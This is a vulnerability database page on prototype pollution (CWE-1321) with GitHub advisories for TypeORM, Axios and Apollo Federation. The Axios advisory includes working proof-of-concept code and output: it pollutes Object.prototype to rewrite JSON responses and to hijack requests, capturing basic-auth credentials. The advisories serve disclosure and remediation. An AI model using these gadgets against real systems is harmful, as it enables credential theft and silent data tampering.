Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

779 vulnerabilities reference this CWE, most recent first.

GHSA-PF2J-9QMP-JQR2

Vulnerability from github – Published: 2021-05-07 16:46 – Updated: 2022-08-11 14:59
VLAI
Summary
TypeORM vulnerable to MAID and Prototype Pollution
Details

Prototype pollution vulnerability in the TypeORM package < 0.2.25 may allow attackers to add or modify Object properties leading to further denial of service or SQL injection attacks.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "typeorm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-471"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-28T17:29:12Z",
    "nvd_published_at": "2020-09-18T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution vulnerability in the TypeORM package \u003c 0.2.25 may allow attackers to add or modify Object properties leading to further denial of service or SQL injection attacks.",
  "id": "GHSA-pf2j-9qmp-jqr2",
  "modified": "2022-08-11T14:59:34Z",
  "published": "2021-05-07T16:46:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8158"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/869574"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TypeORM vulnerable to MAID and Prototype Pollution"
}

GHSA-PF86-5X62-JRWF

Vulnerability from github – Published: 2026-05-05 00:26 – Updated: 2026-05-05 00:26
VLAI
Summary
Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking
Details

Summary

When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.


Background: how mergeConfig builds the config object

Every axios request goes through Axios._request in lib/core/Axios.js#L76:

config = mergeConfig(this.defaults, config);

Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):

const config = {};

A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.


Gadget 1: parseReviver -- response tampering and exfiltration

Introduced in: v1.12.0 (commit 2a97634, PR #5926) Affected range: >= 1.12.0, <= 1.13.6

Root cause

The default transformResponse function calls JSON.parse(data, this.parseReviver):

return JSON.parse(data, this.parseReviver);

this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.

The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:

forcedJSONParsing: true,

which activates the JSON parse path unconditionally when responseType is unset.

JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.

There is no interaction with assertOptions here. The assertOptions call in Axios._request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.

Verification: own-property check

import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const mergeConfig = require('./lib/core/mergeConfig.js').default;
const defaults = require('./lib/defaults/index.js').default;

const merged = mergeConfig(defaults, { url: '/test', method: 'get' });
console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false
console.log(merged.parseReviver); // undefined (no pollution)

Object.prototype.parseReviver = function(k, v) { return v; };
console.log(merged.parseReviver); // [Function (anonymous)] -- inherited
delete Object.prototype.parseReviver;

Proof of concept

Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.

Terminal 1 -- server (server_gadget1.mjs):

import http from 'http';

const server = http.createServer((req, res) => {
  console.log('[server] request:', req.method, req.url);
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));
});

server.listen(19003, '127.0.0.1', () => {
  console.log('[server] listening on 127.0.0.1:19003');
});
$ node server_gadget1.mjs
[server] listening on 127.0.0.1:19003
[server] request: GET /

Terminal 2 -- client (poc_parsereviver.mjs):

import axios from 'axios';

// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via _.merge).
// In a real application this would be set before any axios request runs.
Object.prototype.parseReviver = function (key, value) {
  // Called for every key-value pair in every JSON response parsed by axios in this process.
  if (key !== '') {
    // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.
    console.log('[exfil]', key, '=', JSON.stringify(value));
  }
  // Tamper: escalate role, inflate balance.
  if (key === 'role') return 'admin';
  if (key === 'balance') return 999999;
  return value;
};

const res = await axios.get('http://127.0.0.1:19003/');
console.log('[app] received:', JSON.stringify(res.data));

delete Object.prototype.parseReviver;
$ node poc_parsereviver.mjs
[exfil] role = "user"
[exfil] balance = 100
[exfil] token = "tok_real_abc"
[app] received: {"role":"admin","balance":999999,"token":"tok_real_abc"}

The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.


Gadget 2: transport -- full HTTP request hijacking with credentials

Introduced in: early adapter refactor, present across 0.x and 1.x Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)

Root cause

Inside the Node.js http adapter at lib/adapters/http.js#L676:

if (config.transport) {
  transport = config.transport;
}

transport is listed in mergeMap inside mergeConfig (line 88):

transport: defaultToConfig2,

but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.

The fix in v1.13.5 (PR #7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.

The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:

  • options.hostname, options.port, options.path -- full target URL
  • options.auth -- basic auth credentials in "username:password" form (set at line 606)
  • options.headers -- all request headers as a plain object

Proof of concept

Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.

Terminal 1 -- server (server_gadget2.mjs):

import http from 'http';

const server = http.createServer((req, res) => {
  console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end('{"ok":true}');
});

server.listen(19002, '127.0.0.1', () => {
  console.log('[server] listening on 127.0.0.1:19002');
});
$ node server_gadget2.mjs
[server] listening on 127.0.0.1:19002
[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==

Terminal 2 -- client (poc_transport.mjs):

import axios from 'axios';
import http from 'http';

Object.prototype.transport = {
  request(options, handleResponse) {
    // Intercept: called for every outbound request in this process.
    console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);
    console.log('[hijack] auth:', options.auth);
    console.log('[hijack] headers:', JSON.stringify(options.headers));
    // Forward to the real transport so the caller sees a normal 200.
    return http.request(options, handleResponse);
  },
};

const res = await axios.get('http://127.0.0.1:19002/api/users', {
  auth: { username: 'svc_account', password: 'hunter2' },
});
console.log('[app] response status:', res.status);

delete Object.prototype.transport;
$ node poc_transport.mjs
[hijack] target: 127.0.0.1:19002/api/users
[hijack] auth: svc_account:hunter2
[hijack] headers: {"Accept":"application/json, text/plain, */*","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"}
[app] response status: 200

The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.


Additional gadget: transformRequest / transformResponse

Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.

This one requires a discriminator because assertOptions in Axios._request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).

Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.


Why the existing fix does not cover these

PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"__proto__": {"x": 1}} as the config object, which caused mergeMap['__proto__'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on __proto__, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....

That fix only addresses config keys that are explicitly set to __proto__ (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.


Suggested fixes

For parseReviver (lib/defaults/index.js#L124):

const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;
return JSON.parse(data, reviver);

For mergeConfig value reads (lib/core/mergeConfig.js#L102):

const configValue = merge(
  config1[prop],
  utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,
  prop
);

For transport and other adapter reads from config (lib/adapters/http.js#L676):

if (utils.hasOwnProp(config, 'transport') && config.transport) {
  transport = config.transport;
}

The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.


Environment

  • axios: 1.13.6
  • Node.js: 22.22.0
  • OS: macOS 14
  • Reproduction: confirmed in isolated test harness, both gadgets independently verified

Disclosure

Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.31.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42033"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:26:29Z",
    "nvd_published_at": "2026-04-24T18:16:29Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nWhen `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash \u003c 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.\n\n---\n\n## Background: how mergeConfig builds the config object\n\nEvery axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76):\n\n```js\nconfig = mergeConfig(this.defaults, config);\n```\n\nInside `mergeConfig`, the merged config is built as a plain `{}` object ([`lib/core/mergeConfig.js#L20`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L20)):\n\n```js\nconst config = {};\n```\n\nA plain `{}` inherits from `Object.prototype`. `mergeConfig` only iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)), which is a spread of own properties. Any key that is absent from both `this.defaults` and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to `Object.prototype`. That is the root mechanism behind all gadgets below.\n\n---\n\n## Gadget 1: parseReviver -- response tampering and exfiltration\n\n**Introduced in:** v1.12.0 (commit 2a97634, PR #5926)\n**Affected range:** \u003e= 1.12.0, \u003c= 1.13.6\n\n### Root cause\n\nThe default `transformResponse` function calls [`JSON.parse(data, this.parseReviver)`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124):\n\n```js\nreturn JSON.parse(data, this.parseReviver);\n```\n\n`this` is the merged config. `parseReviver` is not present in `defaults` and is not in the `mergeMap` inside `mergeConfig`. It is never set as an own property on the merged config. Accessing `this.parseReviver` therefore walks the prototype chain.\n\nThe call fires by default on every string response body because [`lib/defaults/transitional.js#L5`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/transitional.js#L5) sets:\n\n```js\nforcedJSONParsing: true,\n```\n\nwhich activates the JSON parse path unconditionally when `responseType` is unset.\n\n`JSON.parse(text, reviver)` calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver\u0027s return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.\n\nThere is no interaction with `assertOptions` here. The `assertOptions` call in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) iterates `Object.keys(config)`, and since `parseReviver` was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before `transformResponse` does.\n\n### Verification: own-property check\n\n```js\nimport { createRequire } from \u0027module\u0027;\nconst require = createRequire(import.meta.url);\nconst mergeConfig = require(\u0027./lib/core/mergeConfig.js\u0027).default;\nconst defaults = require(\u0027./lib/defaults/index.js\u0027).default;\n\nconst merged = mergeConfig(defaults, { url: \u0027/test\u0027, method: \u0027get\u0027 });\nconsole.log(Object.prototype.hasOwnProperty.call(merged, \u0027parseReviver\u0027)); // false\nconsole.log(merged.parseReviver); // undefined (no pollution)\n\nObject.prototype.parseReviver = function(k, v) { return v; };\nconsole.log(merged.parseReviver); // [Function (anonymous)] -- inherited\ndelete Object.prototype.parseReviver;\n```\n\n### Proof of concept\n\nTwo terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.\n\n**Terminal 1 -- server (`server_gadget1.mjs`):**\n\n```js\nimport http from \u0027http\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log(\u0027[server] request:\u0027, req.method, req.url);\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  res.end(JSON.stringify({ role: \u0027user\u0027, balance: 100, token: \u0027tok_real_abc\u0027 }));\n});\n\nserver.listen(19003, \u0027127.0.0.1\u0027, () =\u003e {\n  console.log(\u0027[server] listening on 127.0.0.1:19003\u0027);\n});\n```\n\n```\n$ node server_gadget1.mjs\n[server] listening on 127.0.0.1:19003\n[server] request: GET /\n```\n\n**Terminal 2 -- client (`poc_parsereviver.mjs`):**\n\n```js\nimport axios from \u0027axios\u0027;\n\n// Simulate pollution arriving from a co-dependency (e.g. lodash \u003c 4.17.21 via _.merge).\n// In a real application this would be set before any axios request runs.\nObject.prototype.parseReviver = function (key, value) {\n  // Called for every key-value pair in every JSON response parsed by axios in this process.\n  if (key !== \u0027\u0027) {\n    // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.\n    console.log(\u0027[exfil]\u0027, key, \u0027=\u0027, JSON.stringify(value));\n  }\n  // Tamper: escalate role, inflate balance.\n  if (key === \u0027role\u0027) return \u0027admin\u0027;\n  if (key === \u0027balance\u0027) return 999999;\n  return value;\n};\n\nconst res = await axios.get(\u0027http://127.0.0.1:19003/\u0027);\nconsole.log(\u0027[app] received:\u0027, JSON.stringify(res.data));\n\ndelete Object.prototype.parseReviver;\n```\n\n```\n$ node poc_parsereviver.mjs\n[exfil] role = \"user\"\n[exfil] balance = 100\n[exfil] token = \"tok_real_abc\"\n[app] received: {\"role\":\"admin\",\"balance\":999999,\"token\":\"tok_real_abc\"}\n```\n\nThe server sent `role: user`. The application received `role: admin`. The response is silently modified in place; no error is thrown, no log entry is produced.\n\n---\n\n## Gadget 2: transport -- full HTTP request hijacking with credentials\n\n**Introduced in:** early adapter refactor, present across 0.x and 1.x\n**Affected range:** \u003e= 0.19.0, \u003c= 1.13.6 (Node.js http adapter only)\n\n### Root cause\n\nInside the Node.js http adapter at [`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676):\n\n```js\nif (config.transport) {\n  transport = config.transport;\n}\n```\n\n`transport` is listed in `mergeMap` inside `mergeConfig` ([line 88](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L88)):\n\n```js\ntransport: defaultToConfig2,\n```\n\nbut it is not present in [`lib/defaults/index.js`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js) at all. `mergeConfig` iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)). Since `config1` (the defaults) has no `transport` key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to `Object.prototype`.\n\nThe fix in v1.13.5 (PR #7369) added a `hasOwnProp` check for `mergeMap` access, but the iteration set itself is the issue -- `transport` simply never enters it. The fix does not address this.\n\nThe transport interface is `{ request(options, handleResponseCallback) }`. The options object passed to `transport.request` at adapter runtime contains:\n\n- `options.hostname`, `options.port`, `options.path` -- full target URL\n- `options.auth` -- basic auth credentials in `\"username:password\"` form (set at [line 606](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L606))\n- `options.headers` -- all request headers as a plain object\n\n### Proof of concept\n\nTwo terminals. The server is a legitimate API endpoint that processes the request normally. The client\u0027s process has been affected by prototype pollution.\n\n**Terminal 1 -- server (`server_gadget2.mjs`):**\n\n```js\nimport http from \u0027http\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log(\u0027[server] request:\u0027, req.method, req.url, \u0027auth:\u0027, req.headers.authorization || \u0027(none)\u0027);\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  res.end(\u0027{\"ok\":true}\u0027);\n});\n\nserver.listen(19002, \u0027127.0.0.1\u0027, () =\u003e {\n  console.log(\u0027[server] listening on 127.0.0.1:19002\u0027);\n});\n```\n\n```\n$ node server_gadget2.mjs\n[server] listening on 127.0.0.1:19002\n[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==\n```\n\n**Terminal 2 -- client (`poc_transport.mjs`):**\n\n```js\nimport axios from \u0027axios\u0027;\nimport http from \u0027http\u0027;\n\nObject.prototype.transport = {\n  request(options, handleResponse) {\n    // Intercept: called for every outbound request in this process.\n    console.log(\u0027[hijack] target:\u0027, options.hostname + \u0027:\u0027 + options.port + options.path);\n    console.log(\u0027[hijack] auth:\u0027, options.auth);\n    console.log(\u0027[hijack] headers:\u0027, JSON.stringify(options.headers));\n    // Forward to the real transport so the caller sees a normal 200.\n    return http.request(options, handleResponse);\n  },\n};\n\nconst res = await axios.get(\u0027http://127.0.0.1:19002/api/users\u0027, {\n  auth: { username: \u0027svc_account\u0027, password: \u0027hunter2\u0027 },\n});\nconsole.log(\u0027[app] response status:\u0027, res.status);\n\ndelete Object.prototype.transport;\n```\n\n```\n$ node poc_transport.mjs\n[hijack] target: 127.0.0.1:19002/api/users\n[hijack] auth: svc_account:hunter2\n[hijack] headers: {\"Accept\":\"application/json, text/plain, */*\",\"User-Agent\":\"axios/1.13.6\",\"Accept-Encoding\":\"gzip, compress, deflate, br\"}\n[app] response status: 200\n```\n\nThe basic auth credentials are fully visible to the attacker\u0027s transport function. The request completes normally from the caller\u0027s perspective.\n\n---\n\n## Additional gadget: transformRequest / transformResponse\n\nSeparately, `mergeConfig` reads `config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102) without a `hasOwnProperty` guard. For keys like `transformRequest` and `transformResponse` that are present in `defaults` (and therefore processed by the mergeMap loop), if `Object.prototype.transformRequest` is polluted before the request, `config2[\"transformRequest\"]` inherits the polluted value and `defaultToConfig2` replaces the safe default transforms with the attacker\u0027s function.\n\nThis one requires a discriminator because `assertOptions` in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) reads `schema[opt]` for every key in the merged config\u0027s own keys, and `schema[\"transformRequest\"]` also inherits from `Object.prototype`, causing it to call the polluted value as a validator. The gadget function needs to return `true` when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the [`transformData`](https://github.com/axios/axios/blob/v1.13.6/lib/core/transformData.js#L22) call).\n\nBoth `transformRequest` (fires with request body) and `transformResponse` (fires with response body) are confirmed affected. Range: \u003e= 0.19.0, \u003c= 1.13.6.\n\n---\n\n## Why the existing fix does not cover these\n\nPR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing `{\"__proto__\": {\"x\": 1}}` as the config object, which caused `mergeMap[\u0027__proto__\u0027]` to resolve to `Object.prototype` (a non-function), crashing axios. The fix added an explicit block on `__proto__`, `constructor`, and `prototype` as config keys, and changed `mergeMap[prop]` to `utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ...`.\n\nThat fix only addresses config keys that are explicitly set to `__proto__` (or similar) by the caller. It does not add `hasOwnProperty` guards on the value reads (`config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102), `this.parseReviver`, `config.transport`). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.\n\n---\n\n## Suggested fixes\n\nFor `parseReviver` ([`lib/defaults/index.js#L124`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124)):\n```js\nconst reviver = Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027) ? this.parseReviver : undefined;\nreturn JSON.parse(data, reviver);\n```\n\nFor `mergeConfig` value reads ([`lib/core/mergeConfig.js#L102`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102)):\n```js\nconst configValue = merge(\n  config1[prop],\n  utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,\n  prop\n);\n```\n\nFor `transport` and other adapter reads from config ([`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676)):\n```js\nif (utils.hasOwnProp(config, \u0027transport\u0027) \u0026\u0026 config.transport) {\n  transport = config.transport;\n}\n```\n\nThe same `hasOwnProp` pattern applies to `lookup`, `httpVersion`, `http2Options`, `family`, and `formSerializer` reads in the adapter.\n\n---\n\n## Environment\n\n- axios: 1.13.6\n- Node.js: 22.22.0\n- OS: macOS 14\n- Reproduction: confirmed in isolated test harness, both gadgets independently verified\n\n## Disclosure\n\nReported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.",
  "id": "GHSA-pf86-5x62-jrwf",
  "modified": "2026-05-05T00:26:30Z",
  "published": "2026-05-05T00:26:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking"
}

GHSA-PFJJ-6F4P-RVMH

Vulnerability from github – Published: 2026-03-13 20:51 – Updated: 2026-03-19 20:48
VLAI
Summary
Apollo Federation vulnerable to prototype pollution via incomplete key sanitization
Details

Impact

A vulnerability exists in query plan execution within the gateway that may allow pollution of Object.prototype in certain scenarios. A malicious client may be able to pollute Object.prototype in gateway directly by crafting operations with field aliases and/or variable names that target prototype-inheritable properties. Alternatively, if a subgraph were to be compromised by a malicious actor, they may be able to pollute Object.prototype in gateway by crafting JSON response payloads that target prototype-inheritable properties.

Because Object.prototype is shared across the Node.js process, successful exploitation can affect subsequent requests to the gateway instance. This may result in unexpected application behavior, privilege escalation, data integrity issues, or other security impact depending on how polluted properties are subsequently consumed by the application or its dependencies. As of the date of this advisory, Apollo is not aware of any reported exploitation of this vulnerability.

Patches

Mitigations addressing prototype pollution exposure have been applied in @apollo/federation-internals, @apollo/gateway, and @apollo/query-planner versions 2.9.6, 2.10.5, 2.11.6, 2.12.3, and 2.13.2. Users are encouraged to upgrade to these versions or later at their earliest convenience.

Workarounds

A fully effective workaround is not available without a code change. As an interim measure, users who are unable to upgrade immediately may consider placing an input validation layer in front of the gateway to filter operations containing GraphQL names matching known Object.prototype pollution patterns (e.g., __proto__, constructor, prototype). Users should also ensure that subgraphs in their federated graph originate from trusted sources.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/federation-internals"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/federation-internals"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/federation-internals"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.11.0"
            },
            {
              "fixed": "2.11.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/federation-internals"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.12.0"
            },
            {
              "fixed": "2.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/federation-internals"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.13.0"
            },
            {
              "fixed": "2.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.11.0"
            },
            {
              "fixed": "2.11.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.12.0"
            },
            {
              "fixed": "2.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/gateway"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.13.0"
            },
            {
              "fixed": "2.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/query-planner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/query-planner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/query-planner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.11.0"
            },
            {
              "fixed": "2.11.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/query-planner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.12.0"
            },
            {
              "fixed": "2.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@apollo/query-planner"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.13.0"
            },
            {
              "fixed": "2.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:51:10Z",
    "nvd_published_at": "2026-03-16T14:19:39Z",
    "severity": "CRITICAL"
  },
